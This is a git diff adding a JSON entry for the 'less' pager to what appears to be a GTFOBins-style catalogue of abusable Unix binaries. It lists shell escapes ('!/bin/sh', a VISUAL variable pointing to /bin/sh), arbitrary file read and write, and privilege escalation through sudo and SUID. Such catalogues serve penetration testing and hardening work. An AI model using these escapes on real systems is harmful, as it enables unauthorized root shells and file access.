diff --git a/data/less.json b/data/less.json new file mode 100644 index 0000000..b4ce288 --- /dev/null +++ b/data/less.json @@ -0,0 +1,40 @@ +{ + "functions": { + "shell": [ + { + "code": "less /etc/profile\n!/bin/sh\n" + }, + { + "code": "VISUAL=\"/bin/sh -c '/bin/sh'\" less /etc/profile\nv\n" + } + ], + "file-read": [ + { + "code": "less [file]" + }, + { + "description": "This is useful when 'less' is used as a pager by another binary to read a different file.", + "code": "less /etc/profile\n:e [file]\n" + } + ], + "file-write": [ + { + "code": "echo DATA | less\n[file]\nq\n" + }, + { + "description": "This invokes the default editor to edit the file. The file must exist.", + "code": "less [file]\nv\n" + } + ], + "sudo": [ + { + "code": "sudo less /etc/profile\n!/bin/sh\n" + } + ], + "suid": [ + { + "code": "./less [file]" + } + ] + } +} \ No newline at end of file